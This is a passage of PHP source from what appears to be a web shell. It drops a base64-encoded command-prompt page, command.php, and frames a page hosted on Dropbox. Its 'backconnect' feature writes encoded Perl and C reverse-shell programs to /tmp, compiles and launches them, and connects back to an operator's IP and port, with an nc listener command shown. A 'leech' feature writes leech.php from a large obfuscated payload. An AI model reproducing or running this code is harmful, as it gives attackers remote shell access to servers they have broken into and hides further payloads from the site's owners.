Z246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
1380 $file = fopen("command.php", "w+");
1381 $write = fwrite($file, base64_decode($perltoolss));
1382 fclose($file);
1383 echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
1384 echo "<iframe src=http://dl.dropbox.com/u/74425391/command.html width=35% height=700px frameborder=0></iframe> ";
1385} elseif ($action == 'backconnect') {
1386 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1387 !$yourport && $yourport = '7777';
1388 $usedb = array(
1389 'perl' => 'perl',
1390 'c' => 'c'
1391 );
1392 $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1393 $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1394 if ($start && $yourip && $yourport && $use) {
1395 if ($use == 'perl') {
1396 cf('/tmp/angel_bc', $back_connect);
1397 $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
1398 } else {
1399 cf('/tmp/angel_bc.c', $back_connect_c);
1400 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1401 @unlink('/tmp/angel_bc.c');
1402 $res = execute("/tmp/angel_bc $yourip $yourport &");
1403 }
1404 m("Now script try connect to $yourip port $yourport ...");
1405 }
1406 formhead(array(
1407 'title' => 'Command : nc -vv -l -p 7777'
1408 ));
1409 makehide('action', 'backconnect');
1410 p('
1411');
1412 p('Your IP:');
1413 makeinput(array(
1414 'name' => 'yourip',
1415 'size' => 20,
1416 'value' => $yourip
1417 ));
1418 p('Your Port:');
1419 makeinput(array(
1420 'name' => 'yourport',
1421 'size' => 15,
1422 'value' => $yourport
1423 ));
1424 p('Use:');
1425 makeselect(array(
1426 'name' => 'use',
1427 'option' => $usedb,
1428 'selected' => $use
1429 ));
1430 makeinput(array(
1431 'name' => 'start',
1432 'value' => 'Start',
1433 'type' => 'submit',
1434 'class' => 'bt'
1435 ));
1436 p('
1437
1438');
1439 formfoot();
1440} elseif ($action == 'leech') {
1441 $file = fopen($dir . "leech.php", "w+");
1442 $perltoolss = 'PD9waHAgJGEgPSAnSUNSaElEMGdKMGxEVW1oSlJEQm5TakJ3U0ZKWFpGRlZNRVoxVld0YVIyUXlT
1443WGhqUm1oVFlsaFNhRll3Vm5Oa2JFNXhVV3M1YTJKVmNERldWekUwWVZkS2MxSnFRbUZTVjJoNldr
1444UkdkMVpYVGtWUmJVWllVakprTTFaRlVrdGlNREZJVTJ4b2EyVnRVa3RWYWtFeFpHeGtWMkZGZEd4
1445aVNFSmFWbFpTYzFZeFduTlRhMmhWVW14S2RWbHRkREJXVjAxM1RsVlNhV0Y2Vm5wWGExWmFUbFV4
1446U0ZKc2FFNVdNMmhhVkZjMWIyUXhiSE5hU0U1T1VsaFNSbFZXYUVOVlIxSTJVV3Q0VkdFeFdsQlph
1447a3BUVjFkS1NHVkhiR2hOVlhBelZsVmFhazFYU2toVmFsWlNZVEZLYjFVd1dscE5WbVJ6V1hwR1Ux
1448WXdXbFpaZWtFeFVrZEdWMU5ZWkZwV2JVNDBXV3RhYm1Wc1VuUlBWMFpYVFRKb05sVXhWbEprTVc5
1449M1lraENWRmRHV21oVmFrSmFaREZrYzFSdE5XaFdia0pGVkRGb1UxUlZNVmhrUnpWVlVtczFSRlV4
1450VlRWa1IwWTJWMjF3YkZaWGVETldSV1J6VTIxR1ZrOVVUazVTV0ZKTVZXcEtORTB4WkVWVWEzUnBV
1451akJ3V1ZReFVrTlpWbFYzVWxSV1ZGWlZOVlJYYlhoV1pERmFjMVJzWkdoTlZuQlZWbXBPYzFNeFZY
1452aFRiRnBPVm10S1dGVnNXbUZpVmxaWFZteE9VMVpzV25kVk1qRlRWVWRTTmxGcmVGUmhNbEpvV2xa
1453a1NtVlZNVmhYYlhCT1lsZG9lbGRYZEd0T1IwWjBVMWhzVm1KWWFFdFZhMUpEWW14T2NWUnJPV2xO
1454V0VKWldsVm9UMVZzUlhsVWFrWllZV3R3V0ZSVlpFZFRSVGxaWTBkMFUwMUhPSGhYVnpCNFVqSlNS
1455Mk5HVW1GTmJsSmFWRlpWTVZJeFdsaGxSMFpUWWtaYWVsbDZTVEZXYXpGSFYyeFNWMkpZVWxoV1ZF
1456WnVaREExVmxOc1ZsZFdiRm94VmpCYVQyTnRVbFpqUkZaYVpXMVNSbFpXWXpWamJIQkdXWHBXWVdK
1457SVFsbFVWbVJ2WVVaWmVscEhOVlpTYXpWRFdXMTRjMlJIVmtsWGJVWnNZVEowTTFkV1ZsZFJNa3Aw
1458VTJ4b1UySnJTbkJWV0hCWFkxWnNjVk5ZWkdsaGVtdDZWRlZXTUZNeFRrWk9XRTVhVFdwV2FGbHJa
1459RTlqTURsWlZXeHdWMDF1YURaVk1WWlNaREZ2ZDJKSVFsUlhSbHBvVkZkNFdtUXhiRlpaZWxac1ls
1460WktTVlV5Y0ZkaFYwcFdWMnBDV0dKRk5YVlpWRVp1WlVaU2NsZHNXbWxTYmtKSVZteGtOR1Z0U25O
1461V1dHUlhZa1UxV0ZsVVJtRldSbVJGVVZSR1VtSkdTbGRXYkdNeFYxWlZlV1JFUmxSV01uaERWMnBD
1462TkZaR1JsaGlSVEZvVm10d2RGWnNVa05XTVZWNFYyNUtWMkpGTlZsYVZtUlRVMnhhY2xkc1RsWldi
1463V1F6V1ZWYVExWnJNVmRTYmxaWVVtc3dkMWxXVm5OalYwMTNUbFZTYUZacmNEWlhWbHBxVFZkT2My
1464RXpjRlJXTWxKU1ZsUkNSMk5HV2taYVNFNXJWakJaTWxscVNtdFRiVVpWVlc1S1dGSkZXbEJWYlho
1465WFl6RmtjbGRzV21sVFJUVXhWbXhTUTFZeFZYaFhia3BYWWtVMVdsUlZVbGRSTVZwSFZteGFhV0pI
1466YUZWVWEyUnpVMjFHVlZWdVNsaFNSVnBRVlcxNFYyTXhaSEpYYkZwcFUwVTFNVlpzWkRCV01WWnpW
1467MnhhVjJKR1NsaFZiWEJ6VmpGYVdHUklTbWxpUjJoVlZHdGtjMU5zUmpaUmJUVldUVlp3UTFkcVJr
1468dFhWMFpJWTBkMFdGSnJjRE5YVnpCNFlXczFjbUpGVWxaaWEwcHhWVzF3YzA1V1pITlpNMmhyWWxa
1469S1NWWnNaR3RVVmxWM1UyeGFXbFp0VGpSWmExVTFZMFpHV0dSSGRGTk5ibWQzVmpKNFdrNVhWblJT
1470YTJoWFltczFjRlZVUW5KTk1VcEhVbTVhYUUxcldrbFdiVEZ2V1ZaSmVGZHFWbFJXVmtZelYycENj
1471Mk5zWkhWaVIyeE9ZV3RGZVZVeFZrOVZNa3BZVkc1U1VGZEdTbHBVVkVFeFpHeGtjMXBFVW1wTlYz
1472UTFWREZrTUZsV1duVmhSRlpZVWxkTmVGWlVSbmRYVmtaMVZHMTRWbVZyVmpOWFZ6VjNaR3h2ZDJO
1473RmFGaGliWGh3VkZkd1IySldiRFpUYlRscFVqQndTVnBWWkhkaFZURnpVMjVPVkZZelFqWldSM1JQ
1474WTJ4R2RWVnNjRmROYm1nMlZYcENUMVV3TVVoVFdHaFFWak5vY0ZacVFtRmtNV3h5VkdwT1lVMUlR
1475a3BXUnpFMFlXMUtjMk5JVGxwTmJtTXhXa1ZhYzFkSFNrbFVhekZTVFVWYWVWZFhkR3RqTWxKWVVs
1476aHNWV0p0ZUU1VlZFSkhZMnhzVmxwR1pHaFNia0pKVm0wMWMxUkdXa2xVYXpsU1RXMDRNRk42UWxO
1477VmJVbzJZVWRvVkZKcmIzZFhWM1JQVVRBMVNGTnNhR3hUUmxweFdsZHdRMk5HYkZaaFJrNU9VakEx
1478UmxscVRtRlVWVEI1VlZod1lWTkhjM2hVVkVGNFRsVTFXVmR0Y0dsV01EUjVWa1phVTJOck5WWlBW
1479bEpRVmtaS2IxVXdXa3ROUm14eVZHdHdZVTFzV2tsVVZtaFBWVWRLV1dGSE9WcGlWRVp4VkRGV2My
1480UkdXblZXYTNCb1ZsVndObFl4V21wTlYwcHpVV3hTVkdKWWFIQlpWbFp5WTJ4S1IxSnVXbEJTTVVw
1481SldXdFNRMkZXU1hoV1dFcFdVbFpGTVZwRVNrZFRWa1pZV2tkR1YwMUVWakpYVnpWelVXMUdWMWRZ
1482YkZkaVYzaHhWRmN4TTJReFpITlVhMHBQWVRKNFJWVXhhRmRUTVVweFlrWldWbUpHY0V4V2FrWkxW
1483akZPZEZOcmRFNVNNbWhYVm0xMFlWRXhjSE5VYTFwUVZteEtXRlZVU2xOaE1WSklZa1Z3YUZaVWF6
1484SlVNRTR3VTJ4T1NWcEhOVlpTVmtVeFdrUktSMU5XUmxoYVIwWlhUVVJXTWxkWE5YTlJiVVpYVkd4
1485a1VsWXlVbEZaVmxaSFkwWlNTRTFYZEdsU01VcEpXVlZvWVdGck1IaFRia0poVm0xTmVGbFZaRXRY
1486UmxwWVQxVjBVMkZ0ZUZaV1YzaGhVekZaZUZOc1pGUmlWWEJNVkZaVk1WSXhXbGhsUjBaVFlrWmFl
1487bFF4VlRWVmJGcFZVbXRrVkdGclZqTlpNRlkwWTBaT1dHSkdRbXhoYldSNVZURldVMDB5VW5SVmEy
1488aHBVa1ZLY0ZWcVJsWmpiRXBIVW01YVVGSXdNVFpXVjNCWFlWWkplRlpZU2xOU2Exb3lWVEl4UjFO
1489V1ZuVlZiV3hTVmtWS1RWVlVSbTlsYkZKeVZHMDFhRTFJUW5GVVYzTXhUbFpzY1ZOcVVtcE5WM2d3
1490VlcwMWMxUldaRWRUYWxaWVZtMVNVRmt5ZERSWFJsSjFWMjFzVTJWdGR6RldSRXB6VVcxR2NrMVZW
1491bEpYUjFKUFZXdFdSMDB4VVhwWk0yUlVUVVUxVTFscmFIZFhhekIzWTBSS1dtRXlVVEJaVmxwelYx
1492Wk9XVlZ0Um1sV1ZuQjRWako0VG1WSFJuUlRXR3hzVTBad2NWbFhNRFZpYkU1WlkwVkthMDFFUmta
1493VlZtaHJWR3hLU1ZSck9WSk5iVko1VlRJeFRtVldVblZpUjJ4T1ltMW9ObFl4WTNoU01sWldaVVpv
1494YUZORlNtaFVWekZ2Wld4c1YxcEhkR2xOYkVwRlZGWmtkMkZWTVhWaFJFcGFUVzVDTWxkcVFuTk9i
1495RVpaV2tVMVUxSlZXWHBXUmxaVFpXeFNjbFJ0TldoTlNFSnhWRmR6TVU1V2JIRlRhbEpxVFZkNE1G
1496VnROWE5VVmxsNFUyMDVXazFxUlhkYVZ6RkhVMFpLZEdSSGJFNU5helIzVmxaU1NrNVhUWGxUV0hC
1497VVZrWndTMVZVUVhoTk1WSldWV3RLYTAxRVJrWlZWbEpyVWxaV1dFOVZkRkpOVjJoUVdWY3hUMlJG
1498T1ZsVWJXeFRUVWhDZGxkVVNuSmtNbFp6WTBWb2JGTkZTbWhVVnpGdVpERlNSMXBGT1d0aVZYQkpW
1499REZvYzFWSFJsWk5WRTVWVmxaS1ExcEVRWGhTVmtaVldrVldWbFo2YkV4WGJYaEdaREZOZDFSc2FG
1500UmliSEJvVlRCa01GUXhSWGxhU0U1UFRVWktVMWxxUW5kU1JsbDRZMFJLV21KVVZsTmFSVnAzWkVa
1501S2RWVnRhRmROTW1ONFZrUktjMUV4V1hoalJteFVZbGhTWVZadWNGZGlNVkpHVkd0T1YxWnRlRmxa
1502VldoaFlWWlpkMVp1Y0ZSV1YyaFFXVlZrUzJSV1VsbFZiWEJPWWtadk1WZFdXbXRYYXpSM1ZXeEth
1503VTFJUWtWV2FrWjNUV3hzZEU1V1NtdFNNREUxV1d0U1lWbFdXa2hQVnpWVlZteEtURnBFU2xkU1Yw
1504MTNUbFZTWVUxdVl6RlZhMXBIWkd4T2MySkdTazVTV0ZKRlZqQm9UMVF4UlhsYVNFcFVZbFpLU1Za
1505dGNGTmhNVVkyVW01S1dHSkhVbEJhUnpGUFpFWktjVkZ0YUZkbGJYZDRWa1JLYzFFeVVsaFRXR3hQ
1506VmpOb1VWcEljRU5VUmtWNFdqTmtWV0V3TlhWWmEyaHJVbFpXV0U5VmRHRlhSMDR6VlhwQ1QxVnRT
1507a2xWYkhCWVVsaENNVmRXV21wTlJUVnlZa1ZXVkdKdFVuTlZhMmhQVkRGRmVWcElUbEJXVmtwVFdX
1508cENkMkV4U1hoU2F6bFNUVzFTZWxScVFsTlZiVWwzWTBWU1YwMUlRblpXTVZKTFRVZEtkRlJ1VWxC
1509V1JWcHdXV3hhUmsxc1RsWlVhemxwVm01Q01GWXlNSGhaVjBwWFlYcE9VMUpyV2pKVk1uUlBWMFpP
1510ZFZkdGNHbFdhM0I2VjFSS2QyUnNiM2ROVm14U1lXeEtTMVZ1Y0hKbFJuQkdZVVU1YVZJeFNrWlpl
1511a0V4VWtadmVXUjZWbE5TYTFveVZUSXhVMU5HVmxsV2JGWk9ZV3hLVUZWVVNtdGpNRFIzVld4S2FV
1512MUlRa1ZXYWtKM1RXeHJlVTFXVG1sU01EVjRXV3BLYTFSc1pFWlRWRUpVVmxkU2VscEdaRTVsVmxw
1513eFVXeENhMlZyU2sxVlZFWnVaREZTY2xSdE5XbFRSVXB3V1cxMFNtVkdjRVpTV0dSVVRVVTFXbGw2
1514UVRGU1JtOTVaRVYwV0ZaNlFURmFWbHAzVTBaYWRXSkdRbWhXVlZrd1YxUkNiMkpzYjNoalJXaFRZ
1515bTVDYjFWcVJtRmpiRTVXVkdzMVRrMVZjSGhaYTFaWFZXMUdkR042VGxOU2Exb3lWVEl4WVZWck1V
1516WmtSVkpXWld4YVVsWlVUbXBrTVUxM1ZHeHNhazFFVmtWWGFrb3dVekZrV0UxRVZteFdia0pKVm0w
1517MWMxVkhSbFpTYWxKYVRVZG9kVmRxU2twbGJGcHhVVzF3VG1KR2JETldSRTVxWkRGTmQxUnNTbWxT
1518TW5oaFZtcEJNV1ZXWkhGVWEzUnJZbFpLV1ZSc1pEQlZSMFpXVW01R1ZtSllRa2hWYWtGNFZteGtX
1519V0ZHUW10bGEwcE5WVlJHYm1ReFVuSlVia1pyVFRGd2NWUlVSa3BOVm14eVdrWmFURTFHU2xOWmJu
1520QnZWMjFLVldKSVNtRldhelZFV2tjeFMyTnRWa2xYYkhCWFRWVlZNVlV4WTNoak1sSllVbXhzVmxa
1521NmJFMVdWRUp6WW14c05sUnNUazlXTUhCSlZteFNjMU50U2xWU2JUbGFUV3BHY2xrd1pFdGpWMGw2
1522V2taQ1RrMVZjSFpXTVdONFRrZEtSbVZHYUd4U01taHpWbTV3Y21WR2NFWlZibVJwVmpCYVdsbFZa
1523RFJaVmtwSlZHMDFZVkpGYXpGYVZscDNVa1V4V0dKSGNHbFdiSEIyVjFab2QyUXlSbGhVYmxKWFls
1524ZG9iMXBXVWtkaU1XeHlXa1JPYUZaWGVFbFZNakF4VjJzeGNXSkljRnBoYXpWTFZERmFjMlJIVmto
1525aFJuQk9ZbXMxZFZZeFkzaFNNa1owVWxoc1lWTkhlSEJVVkVaaFRWWmtjbFZZYUdsTmJFcEtWbGMx
1526YTFWSFJsVmhSRXBhVm14S1IxcFZWWGhqVmxaWlZtMXdVMDF0WjNsWGExWnFUbGRHV0ZWc2FGVmlh
1527M0JvVmpCYVIwMVdaRlZUVkZaclVsaGtOVlZ0TlU5WGJVcHpWMnBDV2sweWN6Rlpla0V4Vmxac05s
1528SnJNVTVpVmtvelYydGplRkl3TlZaa00zQldZbFJzV2xSWGNFZGlNWEJHWVVWMGFsSXhXa1ZVYkdN
1529eFlVWlplR0V6U2xOU2Exb3lWREJrVDFKR1JuUmhSMnhUVFc1b01WZFhNWFprTWtaWFlUTnNWMkpz
1530V25KVmFrWmhUbFpPV0dKNlFsQlNiWGg0Vkd0U2IxbFhTbFZpUkVaaFVsVTFSRmxYTVVwbFYxWkpW
1531MjF3YUdGclNuZFZNVkpEV1ZaSmVGTnVTbGhoTWxKVVdWWldjMkpzYkRaVGJrNVBZa2hDVmxSVlpI
1532TlViVVpXWVROS1ZsSldSVEJXUjNSUFltc3hSbVJIY0U1TmJFb3pWMnRXYTFReVNYZGtSVkpXWWxa
1533d1ZGUlZXbUZXYkZsNllrZDBWV0pWYnpGWGEyUlRWRVpXVlZGcmVHRlhSMDR6VlhwQ1QxZEdVblJo
1534UjNCT1lrWmFkVlV5Y0VkVk1rbDVWV3hhVGxaRldtRmFWbVJPVFd4S1IxSnVXbFJoTURWVlZsY3hZ
1535VlpzU2xWaVJsWlhZVEZ3TmxsdGVGTlhSVGxJVGxac1YxSkZTakZXYlhScllqQXhWMVZzYkZkaVdF
1536Sk1XbGMxVDFReFJYbGFTRXBVWVROQ1NGUXhXa2RXVlRGV1RsWmFWMDB5ZUhKV2JHUkhVMVphY2s1
1537WGRGZE5SRVl4VmpCYVVtUXlSWGhhTTJSaFVsWndXRlZ0TlU5a1ZscHlXa2M1VGxac1NscFdiVEYz
1538VXpBeFZWRlVUbE5TYTFveVZUSjBUMWRHVG5WaVIwWlhUVVp3TlZaRVRtcGtNVTE1VjJ4S1RsSllV
1539a1pXVm1oRFRteHdSVk51VGs1U2JYUTFWMnBKTlZNeFNuRmlSa3BYVWtWYVVGWnNXbXRPVm5CR1Rs
1540ZHNiRll4U25KVmVrWkdaREZOZVZacVRrNVNXRkpGVm1wR1MyTXhaSFJOVldST1ZqQndTbFpXVW1G
1541VGJFWlZVV3Q0VWsxVldubFpWRVp1WlVaR2MxRnNXazVXYTNCd1ZUSndSMVV5U1hsVmJGcE9Wa1Zh
1542WVZwV1pGTmhNVlpIVkcxd2ExWllRVEpaZWtFeFVrWnZlV1JGZEZOU2Exb3lWVEo0Y21WV1NuVmpS
1543MFpXVFVWYU1WWnRkR3RpTURGWFZXeHNWMkpZUWt4YVZ6QTFZbXhLUjFKdVdsUmhNRFZUVkZWV01G
1544SkdWbGhrU0VwV1lUSlNTRnBHWkVkU01WSjBZVVp3VG1KWFRURlZNblJYVkRKSmVWVnNiR2xTTTJo
1545d1dWUkdTMlF4VWtkVlZFWlRWbTE0V1ZSc1l6VldhekZ5VjI1R1dsWlZOWFZaVkVadVpVWkdjMUZz
1546V2s1V2EzQndWVEp3UjFVeVNYbFZiRnBPVmtWYVlWcFdaRk5oTVUxNFZXNXdWV0V3TlhWWlZFSjNW
1547VmRXY1ZWck9WSk5ia0Y2V2tkNGQyUkZPVmxXYlhSVFVrWkZNRlpGVWt0VGEzTjRVV3RzVWxZeVVt
1548RldhazV2WkRGa2NWTlVRbEJXVjNnd1ZrY3hOR0ZYU25OVGJrNWFUVzE0UzFONlFuZGtSVFZZWWtk
1549d1RrMUZWWHBXVlZacldWZFNkRlJ1VWs1U01sSndWbXBHV21ReGJGWlplbFpvVFZWS1ZWVXlOV3Ro
1550VlRCM1RraGtWRll5ZUVSWlZWcHlaV3hXZFZGdGJFNWhiRVV4VlRGa2QwMHdkM2hSYkdoVVlsZG9j
1551VlJYZUdGTlZtUlhXVE5vYVZKWVVraFVNV1JoVlRKRmVXVkZOVlppUm1zeFYyMTBNRlpWT1VSa1JY
1552Qm9WbFZ2ZVZkWE1UUlVNREZYWWtoU1RsZEZTbkpWYTFKRFkwWndTRTFWWkd4V1YzaEhXa1ZrTkdF
1553eFNuSlhXR2hZVm14R00xbHRkSGRPYlZKRlUyeHdXRkpYZUhWV2JYUnJVakpTUjFGc2FGWmliSEJo
1554VkZSR1lVMUdaSE5aZWtaT1VsaG9NRmRyWkRSaE1VcFhWMjV3V0dKSFRqUlphMlJMWkZaV2RXTkdT
1555bWxpV0doUlZqRmFhbVZIU2taa1JWSmhVbFJHY2xacVFtRlNWbXhXV1hwV2ExWllRVEZaV0hCcldW
1556ZEtWV0pFVmxSTlIxSjVWREZWZUZKWFVrbFJiRVpUWWtWd2RsZFhlRTVOVjAxNFkwWm9UMVo2Vm5K
1557VmFrcHFUVEZzVjFSdWNHcGhNMUphV2tWb1ExbFhSbGhoUmxwWVZtMU9ORmRYTVVkV01ERkpWbXh3
1558VG1KWGFIcFdNVkpMVFVkS1IyTkZVbWxTUjFKVlZGZDRXbVF4V2xkaFJtUm9VbGhSTWxSV1dsZFhi
1559Rm8yVW0xc1dsWnNiRE5hUm1SVFpFWktkVlJ0ZEZkTlZsbzFWVEkxZDJWdFNuUlhiR3hPVmtWS2Ix
1560VnFTalJPYkZKSVpVWk9hRkl3TlVoV1Z6VkRZVmRHVlZaWWJGaFdiVkV3VkZaYWQxWlZNVlpsUjBa
1561WVVtdHdWRmRyV210U2F6UjVVbXhvV0ZaNmJFdFdha0V4VFd4c2RFMVhSbXBTTURVd1ZGVmpOVk13
1562TVZoYVNGSlVWMGhDUzFwV1ZURldWMUpJWTBWd1UyVnNXakpWTWpGelZHc3dkMDlWVmxkWFNFSlJW
1563RmR3VTJKc1pGVlRiVGxPVmpGYVZWWXhaSGRVTWxaMFdUTndWV0pHU1hkYVJsWjNUbGRGZWxGdGVF
1564NU5TRUo2VjJ0V2IxWXlWbGhUYmtKU1lsUkdZVlpxVG05T2JHUnpXak5rYUZaWGVFcFdWekZ2WVcx
1565S1dGVnVUbUZTVmtZeldWWmFibVZXVG5WVWJIQlhaV3hhTlZVeFpIWk5SbEp5VkcwMWFFMUlRbEpW
1566YWtaM1RXeHNkRTVXU21GTlYzUTFWREZvVDJGVk1IZGhlbFpVVmtWd2FGbHNXbmRrUm1SMFRWZEdh
1567R0ZzV2taWFZsWnZWakExVm1OSVFsVldSVFZSVld0a1RtVkdValpUVkVKaFRVaENkMVpHYUhOVU1s
1568WnlUVVJPVkdKWGVFOVVWRUUxVWxacmVtRkdRazVoYkVWNVZsVldUazVYU2xoVFdHeFBWa1ZLVWxs
1569V1ZrWk9SbXhYV1hwR2EwMXNTbHBXVm1ScllURk9TR1ZFVGxoaVJrWXpXVlprVTFOR1duRlZiWFJT
1570VFVkNGRWZFhNSGhTTWxKSFkwWldUbEl5ZUZSVmFrWmhUVlphY2xwSE9VNVdiRXBhVm0weGQxTnRS
1571bFpUYWxwYVZtMW9NMWxyV2tOV1JrNVpZVVUxVWsxSGVIVlhhMk40VWpKTmVWVnNhRmRXUjNoTFdW
1572WlNjMDB4Y0VkYVJYUnFUV3RhV1ZaSE1XRmhSazVIVTJwQ1dtRXdOVXRYYWtJMFRtczFSazVWVW1G
1573TmJsSk1WbFZXYTJNeVVsaFVhMnhYWVd0S1MxVXdXa3BOVm10M1drWmFVRlpYZURCWlZXaERXVlpK
1574ZUZOdVRscGlWM2hMVjJwS1MyUkdTblZWYlVaWFVrVktkMVpyV21wT1IwWldZa1ZzV0dKWGFIQlZN
1575RnBoWXpGV1IxUnJkRk5TTUZwS1ZtMXdWMWxXV2paV2ExcGFWbXMxUzFkcVFqUk9helZHVGxWU1lV
1576MXVVa3hXVlZacll6SlNXRlJyYkZkaGEwcExWVEJhU2sxV2EzZGFSbHBRVmxkNE1GbFZhRU5aVmts
1577NFUyNU9XbUpYZUV0WGFrcExaRVpLZFZWdFJsZFNSVXAzVm0xMGExSXlVWGhYYTJocFUwWmFTMWxX
1578VmtkTmJGWklXVE5rVkUxRk5WTlpXSEJ2WVVaYU5sWnFUbUZTYldoVFYycEtVMU5YU2tsYVIwWlhV
